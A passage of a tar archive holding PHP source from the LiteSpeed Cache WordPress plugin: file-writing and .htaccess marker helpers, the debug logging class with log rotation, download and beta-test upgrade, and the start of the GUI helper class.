$mkdir = false, $silence = true ) { return self::save($filename, $data, $mkdir, true, $silence); } /** * Save data to file * * @since 1.1.0 * @param string $filename * @param string $data * @param boolean $mkdir * @param boolean $append If the content needs to be appended * @param boolean $silence Used to avoid WP's functions are used */ public static function save( $filename, $data, $mkdir = false, $append = false, $silence = true ) { if (is_null($filename)) { return $silence ? false : __('Filename is empty!', 'litespeed-cache'); } $error = false; $folder = dirname($filename); // mkdir if folder does not exist if (!file_exists($folder)) { if (!$mkdir) { return $silence ? false : sprintf(__('Folder does not exist: %s', 'litespeed-cache'), $folder); } set_error_handler('litespeed_exception_handler'); try { mkdir($folder, 0755, true); // Create robots.txt file to forbid search engine indexes if (!file_exists(LITESPEED_STATIC_DIR . '/robots.txt')) { file_put_contents(LITESPEED_STATIC_DIR . '/robots.txt', "User-agent: *\nDisallow: /\n"); } } catch (\ErrorException $ex) { return $silence ? false : sprintf(__('Can not create folder: %1$s. Error: %2$s', 'litespeed-cache'), $folder, $ex->getMessage()); } restore_error_handler(); } if (!file_exists($filename)) { if (!is_writable($folder)) { return $silence ? false : sprintf(__('Folder is not writable: %s.', 'litespeed-cache'), $folder); } set_error_handler('litespeed_exception_handler'); try { touch($filename); } catch (\ErrorException $ex) { return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename); } restore_error_handler(); } elseif (!is_writable($filename)) { return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename); } $data = self::remove_zero_space($data); $ret = file_put_contents($filename, $data, $append ? FILE_APPEND : LOCK_EX); if ($ret === false) { return $silence ? false : sprintf(__('Failed to write to %s.', 'litespeed-cache'), $filename); } return true; } /** * Remove Unicode zero-width space <200b><200c> * * @since 2.1.2 * @since 2.9 changed to public */ public static function remove_zero_space( $content ) { if (is_array($content)) { $content = array_map(__CLASS__ . '::remove_zero_space', $content); return $content; } // Remove UTF-8 BOM if present if (substr($content, 0, 3) === "\xEF\xBB\xBF") { $content = substr($content, 3); } $content = str_replace("\xe2\x80\x8b", '', $content); $content = str_replace("\xe2\x80\x8c", '', $content); $content = str_replace("\xe2\x80\x8d", '', $content); return $content; } /** * Appends an array of strings into a file (.htaccess ), placing it between * BEGIN and END markers. * * Replaces existing marked info. Retains surrounding * data. Creates file if none exists. * * @param string $filename Filename to alter. * @param string $marker The marker to alter. * @param array|string|false $insertion The new content to insert. * @param bool $prepend Prepend insertion if not exist. * @return bool True on write success, false on failure. */ public static function insert_with_markers( $filename, $insertion = false, $marker = false, $prepend = false ) { if (!$marker) { $marker = self::MARKER; } if (!$insertion) { $insertion = array(); } return self::_insert_with_markers($filename, $marker, $insertion, $prepend); // todo: capture exceptions } /** * Return wrapped block data with marker * * @param string $insertion * @param string $marker * @return string The block data */ public static function wrap_marker_data( $insertion, $marker = false ) { if (!$marker) { $marker = self::MARKER; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker ))); return $new_data; } /** * Touch block data from file, return with marker * * @param string $filename * @param string $marker * @return string The current block data */ public static function touch_marker_data( $filename, $marker = false ) { if (!$marker) { $marker = self::MARKER; } $result = self::_extract_from_markers($filename, $marker); if (!$result) { return false; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_data = implode("\n", array_merge(array( $start_marker ), $result, array( $end_marker ))); return $new_data; } /** * Extracts strings from between the BEGIN and END markers in the .htaccess file. * * @param string $filename * @param string $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ public static function extract_from_markers( $filename, $marker = false ) { if (!$marker) { $marker = self::MARKER; } return self::_extract_from_markers($filename, $marker); } /** * Extracts strings from between the BEGIN and END markers in the .htaccess file. * * @param string $filename * @param string $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ private static function _extract_from_markers( $filename, $marker ) { $result = array(); if (!file_exists($filename)) { return $result; } if ($markerdata = explode("\n", implode('', file($filename)))) { $state = false; foreach ($markerdata as $markerline) { if (strpos($markerline, '# END ' . $marker) !== false) { $state = false; } if ($state) { $result[] = $markerline; } if (strpos($markerline, '# BEGIN ' . $marker) !== false) { $state = true; } } } return array_map('trim', $result); } /** * Inserts an array of strings into a file (.htaccess ), placing it between BEGIN and END markers. * * Replaces existing marked info. Retains surrounding data. Creates file if none exists. * * NOTE: will throw error if failed * * @since 3.0- * @since 3.0 Throw errors if failed * @access private */ private static function _insert_with_markers( $filename, $marker, $insertion, $prepend = false ) { if (!file_exists($filename)) { if (!is_writable(dirname($filename))) { Error::t('W', dirname($filename)); } set_error_handler('litespeed_exception_handler'); try { touch($filename); } catch (\ErrorException $ex) { Error::t('W', $filename); } restore_error_handler(); } elseif (!is_writable($filename)) { Error::t('W', $filename); } if (!is_array($insertion)) { $insertion = explode("\n", $insertion); } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $fp = fopen($filename, 'r+'); if (!$fp) { Error::t('W', $filename); } // Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired. flock($fp, LOCK_EX); $lines = array(); while (!feof($fp)) { $lines[] = rtrim(fgets($fp), "\r\n"); } // Split out the existing file into the preceding lines, and those that appear after the marker $pre_lines = $post_lines = $existing_lines = array(); $found_marker = $found_end_marker = false; foreach ($lines as $line) { if (!$found_marker && false !== strpos($line, $start_marker)) { $found_marker = true; continue; } elseif (!$found_end_marker && false !== strpos($line, $end_marker)) { $found_end_marker = true; continue; } if (!$found_marker) { $pre_lines[] = $line; } elseif ($found_marker && $found_end_marker) { $post_lines[] = $line; } else { $existing_lines[] = $line; } } // Check to see if there was a change if ($existing_lines === $insertion) { flock($fp, LOCK_UN); fclose($fp); return true; } // Check if need to prepend data if not exist if ($prepend && !$post_lines) { // Generate the new file data $new_file_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker ), $pre_lines)); } else { // Generate the new file data $new_file_data = implode("\n", array_merge($pre_lines, array( $start_marker ), $insertion, array( $end_marker ), $post_lines)); } // Write to the start of the file, and truncate it to that length fseek($fp, 0); $bytes = fwrite($fp, $new_file_data); if ($bytes) { ftruncate($fp, ftell($fp)); } fflush($fp); flock($fp, LOCK_UN); fclose($fp); return (bool) $bytes; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/debug2.cls.php����������������������������������������������������������0000644�����������������00000044632�15233526476�0014522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The plugin logging class. * * @package LiteSpeed * @since 1.1.2 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Centralized debug logging utilities for LiteSpeed Cache. */ class Debug2 extends Root { /** * Active log file path. * * @var string */ private static $log_path; /** * Directory prefix for all log files. * * @var string */ private static $log_path_prefix; /** * Request-specific log line prefix. * * @var string */ private static $_prefix; const TYPE_CLEAR_LOG = 'clear_log'; const TYPE_BETA_TEST = 'beta_test'; const TYPE_DOWNLOAD_LOG = 'download_log'; const BETA_TEST_URL = 'beta_test_url'; const BETA_TEST_URL_WP = 'https://downloads.wordpress.org/plugin/litespeed-cache.zip'; /** * Constructor. * * NOTE: until LSCWP_LOG is defined, calls to WP filters are not logged to * avoid a recursion loop inside log_filters(). * * @since 1.1.2 * @access public */ public function __construct() { self::$log_path_prefix = LITESPEED_STATIC_DIR . '/debug/'; // Maybe move legacy log files $this->_maybe_init_folder(); self::$log_path = $this->path( 'debug' ); $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; if ( '' !== $ua && 0 === strpos( $ua, 'lscache_' ) ) { self::$log_path = $this->path( 'crawler' ); } ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', get_current_blog_id() ); if ( $this->conf( Base::O_DEBUG_LEVEL ) ) { ! defined( 'LSCWP_LOG_MORE' ) && define( 'LSCWP_LOG_MORE', true ); } defined( 'LSCWP_DEBUG_EXC_STRINGS' ) || define( 'LSCWP_DEBUG_EXC_STRINGS', $this->conf( Base::O_DEBUG_EXC_STRINGS ) ); } /** * Disable all functionalities temporarily (toggle). * * @since 7.4 * @access public * * @param int $time How long (in seconds) to disable LSC functions. */ public static function tmp_disable( $time = 86400 ) { $conf = Conf::cls(); $disabled = self::cls()->conf( Base::DEBUG_TMP_DISABLE ); if ( 0 === $disabled ) { $conf->update_confs( [ Base::DEBUG_TMP_DISABLE => time() + (int) $time ] ); self::debug2( 'LiteSpeed Cache temporary disabled.' ); return; } $conf->update_confs( [ Base::DEBUG_TMP_DISABLE => 0 ] ); self::debug2( 'LiteSpeed Cache reactivated.' ); } /** * Is the temporary disable active? If expired, re-enable. * * @since 7.4 * @access public * * @return bool */ public static function is_tmp_disable() { $disabled_time = self::cls()->conf( Base::DEBUG_TMP_DISABLE ); if ( 0 === $disabled_time ) { return false; } if ( time() < (int) $disabled_time ) { return true; } Conf::cls()->update_confs( [ Base::DEBUG_TMP_DISABLE => 0 ] ); return false; } /** * Ensure log directory exists and move legacy logs into it. * * @since 6.5 * @access private */ private function _maybe_init_folder() { if ( file_exists( self::$log_path_prefix . 'index.php' ) ) { return; } File::save( self::$log_path_prefix . 'index.php', '<?php // Silence is golden.', true ); $logs = [ 'debug', 'debug.purge', 'crawler' ]; foreach ( $logs as $log ) { $old_path = LSCWP_CONTENT_DIR . '/' . $log . '.log'; $new_path = $this->path( $log ); if ( file_exists( $old_path ) && ! file_exists( $new_path ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename -- Moving legacy log files during migration rename( $old_path, $new_path ); } } } /** * Get absolute path for a log type. * * @since 6.5 * @param string $type Log type (debug|purge|crawler). * @return string */ public function path( $type ) { return self::$log_path_prefix . self::FilePath( $type ); } /** * Get fixed filename for a log type. * * @since 6.5 * @param string $type Log type (debug|debug.purge|crawler). * @return string */ public static function FilePath( $type ) { if ( 'debug.purge' === $type ) { $type = 'purge'; } $key = defined( 'AUTH_KEY' ) ? AUTH_KEY : md5( __FILE__ ); $rand = substr( md5( substr( $key, -16 ) ), -16 ); return $type . $rand . '.log'; } /** * Write end-of-request markers and response timing. * * @since 4.7 * @access public * @return void */ public static function ended() { $headers = headers_list(); foreach ( $headers as $key => $header ) { if ( 0 === stripos( $header, 'Set-Cookie' ) ) { unset( $headers[ $key ] ); } } self::debug( 'Response headers', $headers ); $elapsed_time = number_format( ( microtime( true ) - LSCWP_TS_0 ) * 1000, 2 ); self::debug( "End response\n--------------------------------------------------Duration: " . $elapsed_time . " ms------------------------------\n" ); } /** * Run beta test upgrade. Accepts a direct ZIP URL or attempts to derive one. * * @since 2.9.5 * @access public * * @param string|false $zip ZIP URL or false to read from request. * @return void */ public function beta_test( $zip = false ) { if ( ! $zip ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( empty( $_REQUEST[ self::BETA_TEST_URL ] ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $zip = sanitize_text_field( wp_unslash( $_REQUEST[ self::BETA_TEST_URL ] ) ); if ( self::BETA_TEST_URL_WP !== $zip ) { if ( 'latest' === $zip ) { $zip = self::BETA_TEST_URL_WP; } else { // Generate zip url $zip = $this->_package_zip( $zip ); } } } if ( ! $zip ) { self::debug( '[Debug2] ❌ No ZIP file' ); return; } self::debug( '[Debug2] ZIP file ' . $zip ); $update_plugins = get_site_transient( 'update_plugins' ); if ( ! is_object( $update_plugins ) ) { $update_plugins = new \stdClass(); } $plugin_info = new \stdClass(); $plugin_info->new_version = Core::VER; $plugin_info->slug = Core::PLUGIN_NAME; $plugin_info->plugin = Core::PLUGIN_FILE; $plugin_info->package = $zip; $plugin_info->url = 'https://wordpress.org/plugins/litespeed-cache/'; $update_plugins->response[ Core::PLUGIN_FILE ] = $plugin_info; set_site_transient( 'update_plugins', $update_plugins ); Activation::cls()->upgrade(); } /** * Resolve a GitHub commit-ish into a downloadable ZIP URL via QC API. * * @since 2.9.5 * @access private * * @param string $commit Commit hash/branch/tag. * @return string|false */ private function _package_zip( $commit ) { $data = [ 'commit' => $commit, ]; $res = Cloud::get( Cloud::API_BETA_TEST, $data ); if ( empty( $res['zip'] ) ) { return false; } return $res['zip']; } /** * Write purge headers into a dedicated purge log. * * @since 2.7 * @access public * * @param string $purge_header The Purge header value. * @return void */ public static function log_purge( $purge_header ) { if ( ! defined( 'LSCWP_LOG' ) && ! defined( 'LSCWP_LOG_BYPASS_NOTADMIN' ) ) { return; } $purge_file = self::cls()->path( 'purge' ); self::cls()->_init_request( $purge_file ); $msg = $purge_header . self::_backtrace_info( 6 ); File::append( $purge_file, self::format_message( $msg ) ); } /** * Initialize logging for current request if enabled. * * @since 1.1.0 * @access public * @return void */ public function init() { if ( defined( 'LSCWP_LOG' ) ) { return; } $debug = $this->conf( Base::O_DEBUG ); if ( Base::VAL_ON2 === $debug ) { if ( ! $this->cls( 'Router' )->is_admin_ip() ) { defined( 'LSCWP_LOG_BYPASS_NOTADMIN' ) || define( 'LSCWP_LOG_BYPASS_NOTADMIN', true ); return; } } /** * Check if hit URI includes/excludes * This is after LSCWP_LOG_BYPASS_NOTADMIN to make `log_purge()` still work * * @since 3.0 */ $list = $this->conf( Base::O_DEBUG_INC ); if ( $list ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $request_uri, $list ); if ( ! $result ) { return; } } $list = $this->conf( Base::O_DEBUG_EXC ); if ( $list ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $request_uri, $list ); if ( $result ) { return; } } if ( ! defined( 'LSCWP_LOG' ) ) { $this->_init_request(); define( 'LSCWP_LOG', true ); } } /** * Create the initial log record with request context. * * @since 1.0.12 * @access private * * @param string|null $log_file Optional specific log file path. * @return void */ private function _init_request( $log_file = null ) { if ( ! $log_file ) { $log_file = self::$log_path; } // Rotate if exceeding configured size (MiB). $log_file_size = (int) $this->conf( Base::O_DEBUG_FILESIZE ); if ( file_exists( $log_file ) && filesize( $log_file ) > $log_file_size * 1000000 ) { File::save( $log_file, '' ); } // Add extra spacing if last write was > 2 seconds ago. if ( file_exists( $log_file ) && ( time() - filemtime( $log_file ) ) > 2 ) { File::append( $log_file, "\n\n\n\n" ); } if ( 'cli' === PHP_SAPI ) { return; } $servervars = array( 'Query String' => '', 'HTTP_ACCEPT' => '', 'HTTP_USER_AGENT' => '', 'HTTP_ACCEPT_ENCODING' => '', 'HTTP_COOKIE' => '', 'REQUEST_METHOD' => '', 'SERVER_PROTOCOL' => '', 'X-LSCACHE' => '', 'LSCACHE_VARY_COOKIE' => '', 'LSCACHE_VARY_VALUE' => '', 'ESI_CONTENT_TYPE' => '', ); $server = array_merge($servervars, $_SERVER); $params = array(); if ( isset( $_SERVER['HTTPS'] ) && 'on' === $_SERVER['HTTPS'] ) { $server['SERVER_PROTOCOL'] .= ' (HTTPS) '; } $param = sprintf('💓 ------%s %s %s', $server['REQUEST_METHOD'], $server['SERVER_PROTOCOL'], strtok($server['REQUEST_URI'], '?')); $qs = !empty($server['QUERY_STRING']) ? $server['QUERY_STRING'] : ''; if ( $this->conf( Base::O_DEBUG_COLLAPSE_QS ) ) { $qs = $this->_omit_long_message( $qs ); if ( $qs ) { $param .= ' ? ' . $qs; } $params[] = $param; } else { $params[] = $param; $params[] = 'Query String: ' . $qs; } if ( ! empty( $server['HTTP_REFERER'] ) ) { $params[] = 'HTTP_REFERER: ' . $this->_omit_long_message( $server['HTTP_REFERER'] ); } if ( defined( 'LSCWP_LOG_MORE' ) ) { $params[] = 'User Agent: ' . $this->_omit_long_message( $server['HTTP_USER_AGENT'] ); $params[] = 'Accept: ' . $server['HTTP_ACCEPT']; $params[] = 'Accept Encoding: ' . $server['HTTP_ACCEPT_ENCODING']; } if ( isset( $_COOKIE['_lscache_vary'] ) ) { $params[] = 'Cookie _lscache_vary: ' . sanitize_text_field( wp_unslash( $_COOKIE['_lscache_vary'] ) ); } if ( defined( 'LSCWP_LOG_MORE' ) ) { $params[] = 'X-LSCACHE: ' . ( ! empty( $server['X-LSCACHE'] ) ? 'true' : 'false' ); } if ( $server['LSCACHE_VARY_COOKIE'] ) { $params[] = 'LSCACHE_VARY_COOKIE: ' . $server['LSCACHE_VARY_COOKIE']; } if ( $server['LSCACHE_VARY_VALUE'] ) { $params[] = 'LSCACHE_VARY_VALUE: ' . $server['LSCACHE_VARY_VALUE']; } if ( $server['ESI_CONTENT_TYPE'] ) { $params[] = 'ESI_CONTENT_TYPE: ' . $server['ESI_CONTENT_TYPE']; } $request = array_map( __CLASS__ . '::format_message', $params ); File::append( $log_file, $request ); } /** * Trim long message to keep logs compact. * * @since 6.3 * @param string $msg Message. * @return string */ private function _omit_long_message( $msg ) { if ( strlen( $msg ) > 53 ) { $msg = substr( $msg, 0, 53 ) . '...'; } return $msg; } /** * Format a single log line with timestamp and prefix. * * @since 1.0.12 * @access private * * @param string $msg Message to log. * @return string Formatted line. */ private static function format_message( $msg ) { if ( ! defined( 'LSCWP_LOG_TAG' ) ) { return $msg . "\n"; } if ( ! isset( self::$_prefix ) ) { // address/identity. if ( 'cli' === PHP_SAPI ) { $addr = '=CLI='; if ( isset( $_SERVER['USER'] ) ) { $addr .= sanitize_text_field( wp_unslash( $_SERVER['USER'] ) ); } elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $addr .= sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ); } } else { $ip = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : ''; $port = isset( $_SERVER['REMOTE_PORT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_PORT'] ) ) : ''; $addr = "$ip:$port"; } self::$_prefix = sprintf( ' [%s %s %s] ', $addr, LSCWP_LOG_TAG, Str::rrand( 3 ) ); } list( $usec, $sec ) = explode( ' ', microtime() ); // Use gmdate to avoid tz-related warnings; apply offset if defined. $ts = gmdate( 'm/d/y H:i:s', (int) $sec + ( defined( 'LITESPEED_TIME_OFFSET' ) ? (int) LITESPEED_TIME_OFFSET : 0 ) ); return $ts . substr( $usec, 1, 4 ) . self::$_prefix . $msg . "\n"; } /** * Log a debug message. * * @since 1.1.3 * @access public * * @param string $msg Message to write. * @param int|array $backtrace_limit Depth for backtrace or payload to append. * @return void */ public static function debug( $msg, $backtrace_limit = false ) { if ( ! defined( 'LSCWP_LOG' ) ) { return; } if ( defined( 'LSCWP_DEBUG_EXC_STRINGS' ) && Utility::str_hit_array( $msg, LSCWP_DEBUG_EXC_STRINGS ) ) { return; } if ( false !== $backtrace_limit ) { if ( ! is_numeric( $backtrace_limit ) ) { $backtrace_limit = self::trim_longtext( $backtrace_limit ); if ( is_array( $backtrace_limit ) && 1 === count( $backtrace_limit ) && ! empty( $backtrace_limit[0] ) ) { $msg .= ' --- ' . $backtrace_limit[0]; } else { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export $msg .= ' --- ' . var_export( $backtrace_limit, true ); } self::push( $msg ); return; } self::push( $msg, (int) $backtrace_limit + 1 ); return; } self::push( $msg ); } /** * Trim strings inside arrays/object dumps to reasonable length. * * @since 3.3 * @param mixed $backtrace_limit Data to trim. * @return mixed */ public static function trim_longtext( $backtrace_limit ) { if ( is_array( $backtrace_limit ) ) { $backtrace_limit = array_map( __CLASS__ . '::trim_longtext', $backtrace_limit ); } if ( is_string( $backtrace_limit ) && strlen( $backtrace_limit ) > 500 ) { $backtrace_limit = substr( $backtrace_limit, 0, 1000 ) . '...'; } return $backtrace_limit; } /** * Log a verbose debug message (requires O_DEBUG_LEVEL). * * @since 1.2.0 * @access public * * @param string $msg Message. * @param int|array $backtrace_limit Backtrace depth or payload to append. * @return void */ public static function debug2( $msg, $backtrace_limit = false ) { if ( ! defined( 'LSCWP_LOG_MORE' ) ) { return; } self::debug( $msg, $backtrace_limit ); } /** * Append a message to the active log file. * * @since 1.1.0 * @access private * * @param string $msg Message. * @param int|bool $backtrace_limit Backtrace depth. * @return void */ private static function push( $msg, $backtrace_limit = false ) { if ( defined( 'LSCWP_LOG_MORE' ) && false !== $backtrace_limit ) { $msg .= self::_backtrace_info( (int) $backtrace_limit ); } File::append( self::$log_path, self::format_message( $msg ) ); } /** * Create a compact backtrace string. * * @since 2.7 * @access private * * @param int $backtrace_limit Depth. * @return string */ private static function _backtrace_info( $backtrace_limit ) { $msg = ''; $limit = (int) $backtrace_limit; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace $trace = debug_backtrace( false, $limit + 3 ); for ( $i = 2; $i <= $limit + 2; $i++ ) { // 0 => _backtrace_info(), 1 => push(). if ( empty( $trace[ $i ]['class'] ) ) { if ( empty( $trace[ $i ]['file'] ) ) { break; } $log = "\n" . $trace[ $i ]['file']; } else { if ( __CLASS__ === $trace[ $i ]['class'] ) { continue; } $args = ''; if ( ! empty( $trace[ $i ]['args'] ) ) { foreach ( $trace[ $i ]['args'] as $v ) { if ( is_array( $v ) ) { $v = 'ARRAY'; } if ( is_string( $v ) || is_numeric( $v ) ) { $args .= $v . ','; } } $args = substr( $args, 0, strlen( $args ) > 100 ? 100 : -1 ); } $log = str_replace( 'Core', 'LSC', $trace[ $i ]['class'] ) . $trace[ $i ]['type'] . $trace[ $i ]['function'] . '(' . $args . ')'; } if ( ! empty( $trace[ $i - 1 ]['line'] ) ) { $log .= '@' . $trace[ $i - 1 ]['line']; } $msg .= " => $log"; } return $msg; } /** * Clear all log files (debug|purge|crawler). * * @since 1.6.6 * @access private * @return void */ private function _clear_log() { $logs = [ 'debug', 'purge', 'crawler' ]; foreach ( $logs as $log ) { File::save( $this->path( $log ), '' ); } } /** * Download a log file. * * @since 7.0 * @access private * @return void */ private function _download_log() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in Router::verify_type() $log_type = isset( $_GET['log'] ) ? sanitize_text_field( wp_unslash( $_GET['log'] ) ) : ''; $valid_logs = [ 'debug', 'purge', 'crawler' ]; if ( ! in_array( $log_type, $valid_logs, true ) ) { wp_die( esc_html__( 'Invalid log type.', 'litespeed-cache' ) ); } $file = $this->path( $log_type ); if ( ! file_exists( $file ) ) { wp_die( esc_html__( 'Log file not found.', 'litespeed-cache' ) ); } $filename = 'litespeed-' . $log_type . '-' . gmdate( 'Y-m-d_His' ) . '.log'; header( 'Content-Type: text/plain; charset=utf-8' ); header( 'Content-Disposition: attachment; filename="' . $filename . '"' ); header( 'Content-Length: ' . filesize( $file ) ); header( 'Cache-Control: no-cache, no-store, must-revalidate' ); header( 'Pragma: no-cache' ); header( 'Expires: 0' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_readfile -- Direct file output for download readfile( $file ); exit; } /** * Handle requests routed to this class. * * @since 1.6.6 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_CLEAR_LOG: $this->_clear_log(); break; case self::TYPE_BETA_TEST: $this->beta_test(); break; case self::TYPE_DOWNLOAD_LOG: $this->_download_log(); return; // _download_log() calls exit, but return here for clarity default: break; } Admin::redirect(); } } ������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/gui.cls.php�������������������������������������������������������������0000644�����������������00000111113�15233526476�0014123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The frontend GUI class. * * Provides front-end and admin-bar UI helpers for LiteSpeed Cache. * * @package LiteSpeed * @since 1.3 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * GUI helpers for LiteSpeed Cache. */ class GUI extends Base { const LOG_TAG = '[GUI]'; /** * Counter for temporary HTML wrappers. * * @var int Counter for temporary HTML wrappers to remove from the buffer. */ private static $_clean_counter = 0; /** * Promo display flag. * * @var bool Internal flag used by promo templates to decide whether to display. */ private $_promo_true = false; /** * Promo list configuration. * * Format: [ file_tag => [ days, litespeed_only ], ... ] * * @var array<string, array{0:int,1:bool}> */ private $_promo_list = [ 'new_version' => [ 7, false ], 'score' => [ 14, false ], // 'slack' => [ 3, false ], ]; /** Path to guest JavaScript file. */ const LIB_GUEST_JS = 'assets/js/guest.min.js'; /** Path to guest document.referrer JavaScript file. */ const LIB_GUEST_DOCREF_JS = 'assets/js/guest.docref.min.js'; /** Path to guest vary endpoint. */ const PHP_GUEST = 'guest.vary.php'; /** Dismiss type: WHM. */ const TYPE_DISMISS_WHM = 'whm'; /** Dismiss type: ExpiresDefault. */ const TYPE_DISMISS_EXPIRESDEFAULT = 'ExpiresDefault'; /** Dismiss type: Promo. */ const TYPE_DISMISS_PROMO = 'promo'; /** Dismiss type: PIN. */ const TYPE_DISMISS_PIN = 'pin'; /** WHM message option name. */ const WHM_MSG = 'lscwp_whm_install'; /** WHM message option value. */ const WHM_MSG_VAL = 'whm_install'; /** * Summary options cache. * * @var array<string,mixed> Summary/options cache. */ protected $_summary; /** * Instance. * * @since 1.3 */ public function __construct() { $this->_summary = self::get_summary(); } /** * Frontend init. * * @since 3.0 */ public function init() { self::debug2( 'init' ); if ( is_admin_bar_showing() && current_user_can( 'manage_options' ) ) { add_action( 'wp_enqueue_scripts', [ $this, 'frontend_enqueue_style' ] ); add_action( 'admin_bar_menu', [ $this, 'frontend_shortcut' ], 95 ); } /** * Turn on instant click. * * @since 1.8.2 */ if ( $this->conf( self::O_UTIL_INSTANT_CLICK ) ) { add_action( 'wp_enqueue_scripts', [ $this, 'frontend_enqueue_style_public' ] ); } // NOTE: this needs to be before optimizer to avoid wrapper being removed. add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 8 ); } /** * Print a loading message when redirecting CCSS/UCSS page to avoid blank page confusion. * * @param int $counter Files left in queue. * @param string $type Queue type label. * @return void */ public static function print_loading( $counter, $type ) { echo '<div style="font-size:25px;text-align:center;padding-top:150px;width:100%;position:absolute;">'; echo "<img width='35' src='" . esc_url( LSWCP_PLUGIN_URL . 'assets/img/Litespeed.icon.svg' ) . "' alt='' /> "; printf( /* translators: 1: number, 2: text */ esc_html__( '%1$s %2$s files left in queue', 'litespeed-cache' ), esc_html( number_format_i18n( $counter ) ), esc_html( $type ) ); echo '<p><a href="' . esc_url( admin_url( 'admin.php?page=litespeed-page_optm' ) ) . '">' . esc_html__( 'Cancel', 'litespeed-cache' ) . '</a></p>'; echo '</div>'; } /** * Display the tab list. * * @since 7.3 * * @param array<string,string> $tabs Key => Label pairs. * @return void */ public static function display_tab_list( $tabs ) { $i = 1; foreach ( $tabs as $k => $val ) { $accesskey = $i <= 9 ? $i : ''; printf( '<a class="litespeed-tab nav-tab" href="#%1$s" data-litespeed-tab="%1$s" litespeed-accesskey="%2$s">%3$s</a>', esc_attr( $k ), esc_attr( $accesskey ), esc_html( $val ) ); ++$i; } } /** * Render a pie chart SVG string. * * @since 1.6.6 * * @param int $percent Percentage 0-100. * @param int $width Width/height in pixels. * @param bool $finished_tick Show a tick when 100%. * @param bool $without_percentage Hide the % label. * @param string|bool $append_cls Extra CSS class. * @return string SVG markup. */ public static function pie( $percent, $width = 50, $finished_tick = false, $without_percentage = false, $append_cls = false ) { $label = $without_percentage ? $percent : ( $percent . '%' ); $percentage = '<text x="50%" y="50%">' . esc_html( $label ) . '</text>'; if ( 100 === $percent && $finished_tick ) { $percentage = '<text x="50%" y="50%" class="litespeed-pie-done">✓</text>'; } $svg = sprintf( "<svg class='litespeed-pie %1\$s' viewbox='0 0 33.83098862 33.83098862' width='%2\$d' height='%2\$d' xmlns='http://www.w3.org/2000/svg'> <circle class='litespeed-pie_bg' cx='16.91549431' cy='16.91549431' r='15.91549431' /> <circle class='litespeed-pie_circle' cx='16.91549431' cy='16.91549431' r='15.91549431' stroke-dasharray='%3\$d,100' /> <g class='litespeed-pie_info'>%4\$s</g> </svg>", esc_attr( $append_cls ), $width, $percent, $percentage ); return $svg; } /** * Allowed SVG tags/attributes for kses. * * @since 7.3 * * @return array<string,array<string,bool>> Allowed tags/attributes. */ public static function allowed_svg_tags() { return [ 'svg' => [ 'width' => true, 'height' => true, 'viewbox' => true, // Note: SVG standard uses 'viewBox', but wp_kses normalizes to lowercase. 'xmlns' => true, 'class' => true, 'id' => true, ], 'circle' => [ 'cx' => true, 'cy' => true, 'r' => true, 'fill' => true, 'stroke' => true, 'class' => true, 'stroke-width' => true, 'stroke-dasharray' => true, ], 'path' => [ 'd' => true, 'fill' => true, 'stroke' => true, ], 'text' => [ 'x' => true, 'y' => true, 'dx' => true, 'dy' => true, 'font-size' => true, 'font-family' => true, 'font-weight' => true, 'fill' => true, 'stroke' => true, 'stroke-width' => true, 'text-anchor' => true, 'class' => true, 'id' => true, ], 'g' => [ 'transform' => true, 'fill' => true, 'stroke' => true, 'stroke-width' => true, 'class' => true, 'id' => true, ], 'button' => [ 'type' => true, 'data-balloon-break' => true, 'data-balloon-pos' => true, 'aria-label' => true, 'class' => true, ], ]; } /** * Display a tiny pie with a tooltip. * * @since 3.0 * * @param int $percent Percentage 0-100. * @param int $width Width/height in pixels. * @param string $tooltip Tooltip text. * @param string $tooltip_pos Tooltip position (e.g., 'up'). * @param string|bool $append_cls Extra CSS class. * @return string HTML/SVG. */ public static function pie_tiny( $percent, $width = 50, $tooltip = '', $tooltip_pos = 'up', $append_cls = false ) { // formula C = 2πR. 